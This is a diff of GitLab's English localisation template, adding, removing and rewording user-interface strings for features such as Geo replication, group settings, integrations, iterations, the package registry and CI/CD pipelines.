-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
